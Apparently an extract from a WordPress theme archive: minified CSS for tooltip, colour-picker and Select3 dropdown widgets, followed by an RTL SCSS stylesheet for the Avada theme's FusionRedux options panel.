rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.qtip-bootstrap .qtip-titlebar{padding:8px 14px;margin:0;font-size:14px;font-weight:400;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.qtip-bootstrap .qtip-titlebar .qtip-close{right:11px;top:45%;border-style:none}.qtip-bootstrap .qtip-content{padding:9px 14px}.qtip-bootstrap .qtip-icon{background:0 0}.qtip-bootstrap .qtip-icon .ui-icon{width:auto;height:auto;float:right;font-size:20px;font-weight:700;line-height:18px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.qtip-bootstrap .qtip-icon .ui-icon:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.qtip:not(.ie9haxors) div.qtip-content,.qtip:not(.ie9haxors) div.qtip-titlebar{filter:none;-ms-filter:none}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}.qtip .qtip-tip,x:-o-prefocus{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:0 0;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}#qtip-overlay{position:fixed;left:0;top:0;width:100%;height:100%}#qtip-overlay.blurs{cursor:pointer}#qtip-overlay div{position:absolute;left:0;top:0;width:100%;height:100%;background-color:#000;opacity:.7;filter:alpha(opacity=70);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"}.qtipmodal-ie6fix{position:absolute!important}.sp-container{position:absolute;top:0;left:0;display:inline-block;z-index:9999994;overflow:hidden}.sp-container.sp-flat{position:relative}.sp-container,.sp-container *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.sp-top{position:relative;width:100%;display:inline-block}.sp-top-inner{position:absolute;top:0;left:0;bottom:0;right:0}.sp-color{position:absolute;top:0;left:0;bottom:0;right:20%}.sp-hue{position:absolute;top:0;right:0;bottom:0;left:84%;height:100%}.sp-clear-enabled .sp-hue{top:33px;height:77.5%}.sp-fill{padding-top:80%}.sp-sat,.sp-val{position:absolute;top:0;left:0;right:0;bottom:0}.sp-alpha-enabled .sp-top{margin-bottom:18px}.sp-alpha-enabled .sp-alpha{display:block}.sp-alpha-handle{position:absolute;top:-4px;bottom:-4px;width:6px;left:50%;cursor:pointer;border:1px solid #000;background:#fff;opacity:.8}.sp-alpha{display:none;bottom:-14px;right:0;left:0;height:8px}.sp-alpha-inner{border:1px solid #333}.sp-clear{display:none}.sp-clear.sp-clear-display{background-position:center}.sp-clear-enabled .sp-clear{display:block;position:absolute;top:0;right:0;bottom:0;left:84%;height:28px}.sp-alpha,.sp-alpha-handle,.sp-clear,.sp-container,.sp-container button,.sp-container.sp-dragging .sp-input,.sp-dragger,.sp-preview,.sp-replacer,.sp-slider{-webkit-user-select:none;-moz-user-select:-moz-none;-o-user-select:none;user-select:none}.sp-container.sp-buttons-disabled .sp-button-container,.sp-container.sp-input-disabled .sp-input-container,.sp-container.sp-palette-buttons-disabled .sp-palette-button-container,.sp-initial-disabled .sp-initial,.sp-palette-disabled .sp-palette-container,.sp-palette-only .sp-picker-container{display:none}.sp-sat{background-image:-webkit-gradient(linear,0 0,100% 0,from(#FFF),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(left,#FFF,rgba(204,154,129,0));background-image:-moz-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-o-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-ms-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:linear-gradient(to right,#fff,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr=#FFFFFFFF, endColorstr=#00CC9A81)";filter:progid:DXImageTransform.Microsoft.gradient(GradientType=1, startColorstr='#FFFFFFFF', endColorstr='#00CC9A81')}.sp-val{background-image:-webkit-gradient(linear,0 100%,0 0,from(#000),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-moz-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-o-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-ms-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:linear-gradient(to top,#000,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#00CC9A81, endColorstr=#FF000000)";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00CC9A81', endColorstr='#FF000000')}.sp-hue{background:-moz-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-ms-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-o-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-webkit-gradient(linear,left top,left bottom,from(red),color-stop(.17,#ff0),color-stop(.33,#0f0),color-stop(.5,#0ff),color-stop(.67,#00f),color-stop(.83,#f0f),to(red));background:-webkit-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:linear-gradient(to bottom,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%)}.sp-1{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0000', endColorstr='#ffff00')}.sp-2{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff00', endColorstr='#00ff00')}.sp-3{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ff00', endColorstr='#00ffff')}.sp-4{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffff', endColorstr='#0000ff')}.sp-5{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0000ff', endColorstr='#ff00ff')}.sp-6{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00ff', endColorstr='#ff0000')}.sp-hidden{display:none!important}.sp-cf:after,.sp-cf:before{content:"";display:table}.sp-cf:after{clear:both}@media (max-device-width:480px){.sp-color{right:40%}.sp-hue{left:63%}.sp-fill{padding-top:60%}}.sp-dragger{border-radius:5px;height:5px;width:5px;border:1px solid #fff;background:#000;cursor:pointer;position:absolute;top:0;left:0}.sp-slider{position:absolute;top:0;cursor:pointer;height:3px;left:-1px;right:-1px;border:1px solid #000;background:#fff;opacity:.8}.sp-container{border-radius:0;background-color:#ECECEC;border:1px solid #f0c49B;padding:0}.sp-clear,.sp-color,.sp-container,.sp-container button,.sp-container input,.sp-hue{font:400 12px "Lucida Grande","Lucida Sans Unicode","Lucida Sans",Geneva,Verdana,sans-serif;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.sp-top{margin-bottom:3px}.sp-clear,.sp-color,.sp-hue{border:1px solid #666}.sp-input-container{float:right;width:100px;margin-bottom:4px}.sp-initial-disabled .sp-input-container{width:100%}.sp-input{font-size:12px!important;border:1px inset;padding:4px 5px;margin:0;width:100%;background:0 0;border-radius:3px;color:#222}.sp-input:focus{border:1px solid orange}.sp-input.sp-validation-error{border:1px solid red;background:#fdd}.sp-palette-container,.sp-picker-container{float:left;position:relative;padding:10px 10px 300px;margin-bottom:-290px}.sp-picker-container{width:172px;border-left:solid 1px #fff}.sp-palette-container{border-right:solid 1px #ccc}.sp-palette-only .sp-palette-container{border:0}.sp-palette .sp-thumb-el{display:block;position:relative;float:left;cursor:pointer}.sp-palette .sp-thumb-el.sp-thumb-active,.sp-palette .sp-thumb-el:hover{border-color:orange}.sp-initial{float:left;border:1px solid #333}.sp-initial span{width:30px;height:25px;border:none;display:block;float:left;margin:0}.sp-initial .sp-clear-display{background-position:center}.sp-button-container,.sp-palette-button-container{float:right}.sp-replacer{margin:0;overflow:hidden;cursor:pointer;padding:4px;display:inline-block;border:1px solid #91765d;background:#eee;color:#333;vertical-align:middle}.sp-replacer.sp-active,.sp-replacer:hover{border-color:#F0C49B;color:#111}.sp-replacer.sp-disabled{cursor:default;border-color:silver;color:silver}.sp-dd{padding:2px 0;height:16px;line-height:16px;float:left;font-size:10px}.sp-preview{width:25px;height:20px;border:1px solid #222;margin-right:5px;float:left;z-index:0}.sp-palette{max-width:220px}.sp-palette .sp-thumb-el{width:16px;height:16px;margin:2px 1px;border:1px solid #d0d0d0}.sp-container{padding-bottom:0}.sp-container button{background-color:#eee;background-image:-webkit-linear-gradient(top,#eee,#ccc);background-image:-moz-linear-gradient(top,#eee,#ccc);background-image:-ms-linear-gradient(top,#eee,#ccc);background-image:-o-linear-gradient(top,#eee,#ccc);background-image:linear-gradient(to bottom,#eee,#ccc);border:1px solid #ccc;border-bottom:1px solid #bbb;border-radius:3px;color:#333;font-size:14px;line-height:1;padding:5px 4px;text-align:center;text-shadow:0 1px 0 #eee;vertical-align:middle}.sp-container button:hover{background-color:#ddd;background-image:-webkit-linear-gradient(top,#ddd,#bbb);background-image:-moz-linear-gradient(top,#ddd,#bbb);background-image:-ms-linear-gradient(top,#ddd,#bbb);background-image:-o-linear-gradient(top,#ddd,#bbb);background-image:linear-gradient(to bottom,#ddd,#bbb);border:1px solid #bbb;border-bottom:1px solid #999;cursor:pointer;text-shadow:0 1px 0 #ddd}.sp-container button:active{border:1px solid #aaa;border-bottom:1px solid #888;-webkit-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-moz-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-ms-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-o-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee}.sp-cancel{font-size:11px;color:#d93f3f!important;margin:0 5px 0 0;padding:2px;vertical-align:middle;text-decoration:none}.sp-cancel:hover{color:#d93f3f!important;text-decoration:underline}.sp-palette span.sp-thumb-active,.sp-palette span:hover{border-color:#000}.sp-alpha,.sp-preview,.sp-thumb-el{position:relative;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.sp-alpha-inner,.sp-preview-inner,.sp-thumb-inner{display:block;position:absolute;top:0;left:0;bottom:0;right:0}.sp-palette .sp-thumb-inner{background-position:50% 50%;background-repeat:no-repeat}.sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=)}.sp-palette .sp-thumb-dark.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=)}.sp-clear-display{background-repeat:no-repeat;background-position:center;background-image:url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==)}.select3-container{margin:0;position:relative;display:inline-block;zoom:1;vertical-align:middle}.select3-container,.select3-drop,.select3-search,.select3-search input{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.select3-container .select3-choice{display:block;height:26px;padding:0 0 0 8px;overflow:hidden;position:relative;border:1px solid #aaa;white-space:nowrap;line-height:26px;color:#444;text-decoration:none;border-radius:4px;background-clip:padding-box;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#fff;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#eee),color-stop(.5,#fff));background-image:-webkit-linear-gradient(center bottom,#eee 0,#fff 50%);background-image:-moz-linear-gradient(center bottom,#eee 0,#fff 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);background-image:linear-gradient(to top,#eee 0,#fff 50%)}html[dir=rtl] .select3-container .select3-choice{padding:0 8px 0 0}.select3-container.select3-drop-above .select3-choice{border-bottom-color:#aaa;border-radius:0 0 4px 4px;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#eee),color-stop(.9,#fff));background-image:-webkit-linear-gradient(center bottom,#eee 0,#fff 90%);background-image:-moz-linear-gradient(center bottom,#eee 0,#fff 90%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);background-image:linear-gradient(to bottom,#eee 0,#fff 90%)}.select3-container.select3-allowclear .select3-choice .select3-chosen{margin-right:42px}.select3-container .select3-choice>.select3-chosen{margin-right:26px;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;float:none;width:auto}html[dir=rtl] .select3-container .select3-choice>.select3-chosen{margin-left:26px;margin-right:0}.select3-container .select3-choice abbr{display:none;width:12px;height:12px;position:absolute;right:24px;top:8px;font-size:1px;text-decoration:none;border:0;background:url(select3.png) right top no-repeat;cursor:pointer;outline:0}.select3-container.select3-allowclear .select3-choice abbr{display:inline-block}.select3-container .select3-choice abbr:hover{background-position:right -11px;cursor:pointer}.select3-drop-mask{border:0;margin:0;padding:0;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:9998;background-color:#fff;filter:alpha(opacity=0)}.select3-drop{width:100%;margin-top:-1px;position:absolute;z-index:9999;top:100%;background:#fff;color:#000;border:1px solid #aaa;border-top:0;border-radius:0 0 4px 4px;-webkit-box-shadow:0 4px 5px rgba(0,0,0,.15);box-shadow:0 4px 5px rgba(0,0,0,.15)}.select3-drop.select3-drop-above{margin-top:1px;border-top:1px solid #aaa;border-bottom:0;border-radius:4px 4px 0 0;-webkit-box-shadow:0 -4px 5px rgba(0,0,0,.15);box-shadow:0 -4px 5px rgba(0,0,0,.15)}.select3-drop-active{border:1px solid #5897fb;border-top:none}.select3-drop.select3-drop-above.select3-drop-active{border-top:1px solid #5897fb}.select3-drop-auto-width{border-top:1px solid #aaa;width:auto}.select3-drop-auto-width .select3-search{padding-top:4px}.select3-container .select3-choice .select3-arrow{display:inline-block;width:18px;height:100%;position:absolute;right:0;top:0;border-left:1px solid #aaa;border-radius:0 4px 4px 0;background:#ccc;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#ccc),color-stop(.6,#eee)) #ccc;background:-webkit-linear-gradient(center bottom,#ccc 0,#eee 60%) #ccc;background:-moz-linear-gradient(center bottom,#ccc 0,#eee 60%) #ccc;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#cccccc', GradientType=0);background:linear-gradient(to top,#ccc 0,#eee 60%) #ccc}html[dir=rtl] .select3-container .select3-choice .select3-arrow{left:0;right:auto;border-left:none;border-right:1px solid #aaa;border-radius:4px 0 0 4px}.select3-container .select3-choice .select3-arrow b{display:block;width:100%;height:100%;background:url(select3.png) 0 1px no-repeat}html[dir=rtl] .select3-container .select3-choice .select3-arrow b{background-position:2px 1px}.select3-search{display:inline-block;width:100%;min-height:26px;margin:0;padding-left:4px;padding-right:4px;position:relative;z-index:10000;white-space:nowrap}.select3-search input{width:100%;height:auto!important;min-height:26px;padding:4px 20px 4px 5px;margin:0;outline:0;font-family:sans-serif;font-size:1em;border:1px solid #aaa;border-radius:0;-webkit-box-shadow:none;box-shadow:none;background:url(select3.png) 100% -22px no-repeat #fff;background:url(select3.png) 100% -22px no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}html[dir=rtl] .select3-search input{padding:4px 5px 4px 20px;background:url(select3.png) -37px -22px no-repeat #fff;background:url(select3.png) -37px -22px no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}.select3-drop.select3-drop-above .select3-search input{margin-top:4px}.select3-search input.select3-active{background:url(select3-spinner.gif) 100% no-repeat #fff;background:url(select3-spinner.gif) 100% no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}.select3-container-active .select3-choice,.select3-container-active .select3-choices{border:1px solid #5897fb;outline:0;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.select3-dropdown-open .select3-choice{border-bottom-color:transparent;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;border-bottom-left-radius:0;border-bottom-right-radius:0;background-color:#eee;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#fff),color-stop(.5,#eee));background-image:-webkit-linear-gradient(center bottom,#fff 0,#eee 50%);background-image:-moz-linear-gradient(center bottom,#fff 0,#eee 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);background-image:linear-gradient(to top,#fff 0,#eee 50%)}.select3-dropdown-open.select3-drop-above .select3-choice,.select3-dropdown-open.select3-drop-above .select3-choices{border:1px solid #5897fb;border-top-color:transparent;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#fff),color-stop(.5,#eee));background-image:-webkit-linear-gradient(center top,#fff 0,#eee 50%);background-image:-moz-linear-gradient(center top,#fff 0,#eee 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);background-image:linear-gradient(to bottom,#fff 0,#eee 50%)}.select3-dropdown-open .select3-choice .select3-arrow{background:0 0;border-left:none;filter:none}html[dir=rtl] .select3-dropdown-open .select3-choice .select3-arrow{border-right:none}.select3-dropdown-open .select3-choice .select3-arrow b{background-position:-18px 1px}html[dir=rtl] .select3-dropdown-open .select3-choice .select3-arrow b{background-position:-16px 1px}.select3-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.select3-results{max-height:200px;padding:0 0 0 4px;margin:4px 4px 4px 0;position:relative;overflow-x:hidden;overflow-y:auto;-webkit-tap-highlight-color:transparent}html[dir=rtl] .select3-results{padding:0 4px 0 0;margin:4px 0 4px 4px}.select3-results ul.select3-result-sub{margin:0;padding-left:0}.select3-results li{list-style:none;display:list-item;background-image:none}.select3-results li.select3-result-with-children>.select3-result-label{font-weight:700}.select3-results .select3-result-label{padding:3px 7px 4px;margin:0;cursor:pointer;min-height:1em;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.select3-results-dept-1 .select3-result-label{padding-left:20px}.select3-results-dept-2 .select3-result-label{padding-left:40px}.select3-results-dept-3 .select3-result-label{padding-left:60px}.select3-results-dept-4 .select3-result-label{padding-left:80px}.select3-results-dept-5 .select3-result-label{padding-left:100px}.select3-results-dept-6 .select3-result-label{padding-left:110px}.select3-results-dept-7 .select3-result-label{padding-left:120px}.select3-results .select3-highlighted{background:#3875d7;color:#fff}.select3-results li em{background:#feffde;font-style:normal}.select3-results .select3-highlighted em{background:0 0}.select3-results .select3-highlighted ul{background:#fff;color:#000}.select3-results .select3-ajax-error,.select3-results .select3-no-results,.select3-results .select3-searching,.select3-results .select3-selection-limit{background:#f4f4f4;display:list-item;padding-left:5px}.select3-results .select3-disabled.select3-highlighted{color:#666;background:#f4f4f4;display:list-item;cursor:default}.select3-results .select3-disabled{background:#f4f4f4;display:list-item;cursor:default}.select3-results .select3-selected{display:none}.select3-more-results.select3-active{background:url(select3-spinner.gif) 100% no-repeat #f4f4f4}.select3-results .select3-ajax-error{background:rgba(255,50,50,.2)}.select3-more-results{background:#f4f4f4;display:list-item}.select3-container.select3-container-disabled .select3-choice{background-color:#f4f4f4;background-image:none;border:1px solid #ddd;cursor:default}.select3-container.select3-container-disabled .select3-choice .select3-arrow{background-color:#f4f4f4;background-image:none;border-left:0}.select3-container.select3-container-disabled .select3-choice abbr{display:none}.select3-container-multi .select3-choices{height:auto!important;height:1%;margin:0;padding:0 5px 0 0;position:relative;border:1px solid #aaa;cursor:text;overflow:hidden;background-color:#fff;background-image:-webkit-gradient(linear,0 0,0 100%,color-stop(1%,#eee),color-stop(15%,#fff));background-image:-webkit-linear-gradient(top,#eee 1%,#fff 15%);background-image:-moz-linear-gradient(top,#eee 1%,#fff 15%);background-image:linear-gradient(to bottom,#eee 1%,#fff 15%)}html[dir=rtl] .select3-container-multi .select3-choices{padding:0 0 0 5px}.select3-locked{padding:3px 5px!important}.select3-container-multi .select3-choices{min-height:26px}.select3-container-multi.select3-container-active .select3-choices{border:1px solid #5897fb;outline:0;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.select3-container-multi .select3-choices li{float:left;list-style:none}html[dir=rtl] .select3-container-multi .select3-choices li{float:right}.select3-container-multi .select3-choices .select3-search-field{margin:0;padding:0;white-space:nowrap}.select3-container-multi .select3-choices .select3-search-field input{padding:5px;margin:1px 0;font-family:sans-serif;font-size:100%;color:#666;outline:0;border:0;-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.select3-container-multi .select3-choices .select3-search-field input.select3-active{background:url(select3-spinner.gif) 100% no-repeat #fff!important}.select3-default{color:#999!important}.select3-container-multi .select3-choices .select3-search-choice{padding:3px 5px 3px 18px;margin:3px 0 3px 5px;position:relative;line-height:13px;color:#333;cursor:default;border:1px solid #aaa;border-radius:3px;-webkit-box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);background-clip:padding-box;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#e4e4e4;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0);background-image:-webkit-gradient(linear,0 0,0 100%,color-stop(20%,#f4f4f4),color-stop(50%,#f0f0f0),color-stop(52%,#e8e8e8),color-stop(100%,#eee));background-image:-webkit-linear-gradient(top,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);background-image:-moz-linear-gradient(top,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);background-image:linear-gradient(to bottom,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%)}html[dir=rtl] .select3-container-multi .select3-choices .select3-search-choice{margin:3px 5px 3px 0;padding:3px 18px 3px 5px}.select3-container-multi .select3-choices .select3-search-choice .select3-chosen{cursor:default}.select3-container-multi .select3-choices .select3-search-choice-focus{background:#d4d4d4}.select3-search-choice-close{display:block;width:12px;height:13px;position:absolute;right:3px;top:4px;font-size:1px;outline:0;background:url(select3.png) right top no-repeat}html[dir=rtl] .select3-search-choice-close{right:auto;left:3px}.select3-container-multi .select3-search-choice-close{left:3px}html[dir=rtl] .select3-container-multi .select3-search-choice-close{left:auto;right:2px}.select3-container-multi .select3-choices .select3-search-choice .select3-search-choice-close:hover,.select3-container-multi .select3-choices .select3-search-choice-focus .select3-search-choice-close{background-position:right -11px}.select3-container-multi.select3-container-disabled .select3-choices{background-color:#f4f4f4;background-image:none;border:1px solid #ddd;cursor:default}.select3-container-multi.select3-container-disabled .select3-choices .select3-search-choice{padding:3px 5px;border:1px solid #ddd;background-image:none;background-color:#f4f4f4}.select3-container-multi.select3-container-disabled .select3-choices .select3-search-choice .select3-search-choice-close{display:none;background:0 0}.select3-result-selectable .select3-match,.select3-result-unselectable .select3-match{text-decoration:underline}.select3-offscreen,.select3-offscreen:focus{clip:rect(0 0 0 0)!important;width:1px!important;height:1px!important;border:0!important;margin:0!important;padding:0!important;overflow:hidden!important;position:absolute!important;outline:0!important;left:0!important;top:0!important}.select3-display-none{display:none}.select3-measure-scrollbar{position:absolute;top:-10000px;left:-10000px;width:100px;height:100px;overflow:scroll}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:2dppx){.select3-container .select3-choice .select3-arrow b,.select3-container .select3-choice abbr,.select3-search input,.select3-search-choice-close{background-image:url(select3x2.png)!important;background-repeat:no-repeat!important;background-size:60px 40px!important}.select3-search input{background-position:100% -21px!important}}Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/rtl.scss000064400000004545152342437710022725 0ustar00.fusionredux-container { .fusionredux-action_bar { float: left; } } .fusionredux-container #expand_options, .fusionredux-sidebar, .cb-enable, .cb-disable, .cb-enable span, .cb-disable span, #fusionredux-footer #fusionredux-share { float: right; } .fusionredux-main { border-left: 0px; margin-left: 0px; border-right: 1px solid #d8d8d8; margin-right: 201px; } .fusionredux-group-tab-link-a { padding-left: 0px; padding-right: 30px; i { padding-left: 10px; padding-right: 5px; } span.group_title { padding-left: 0px; padding-right: 30px; } } .fusionredux-container .expand_options, .fusionredux-sidebar, .cb-enable, .cb-disable, .cb-enable span, .cb-disable span, #fusionredux-footer #fusionredux-share{ float:right; } .fusionredux_slider { margin-left: 0px; margin-right: 15px; } .fusionredux-action_bar { float: left !important; } .expand_options { float: right !important; border:1px solid #f00; } .fusionredux_field_th{ padding:20px 0 20px 10px !important; } .field-desc { text-align: right; } .fusionredux-container-ace_editor, .fusionredux-container-border, .fusionredux-container-spacing, .fusionredux-container-dimensions { direction: ltr !important; } .fusionredux-container-border .field-border-input, .fusionredux-container-border .fusionredux-color-init, .fusionredux-container-border .fusionredux-border-style, .fusionredux-container-sorter, .fusionredux-container-border, .fusionredux-container-spacing, .fusionredux-container-spacing .field-spacing-input, .fusionredux-container-dimensions .fusionredux-dimensions-container, .fusionredux-container-text label, .fusionredux-container-checkbox input, .typography-font-bar, .typography-style-bar, .fusionredux-color.fusionredux-typography-color, .fusionredux-typography-subsets { float:right !important; } .input-append{ margin-right:10px; direction:ltr !important; } .fusionredux-container-slider, .fusionredux-container-spinner, .fusionredux-container-switch { direction:ltr !important; float:right; margin:0; } .fusionredux-main .fusionredux-typography-container .typography-preview { text-align: center !important; direction: ltr !important; } 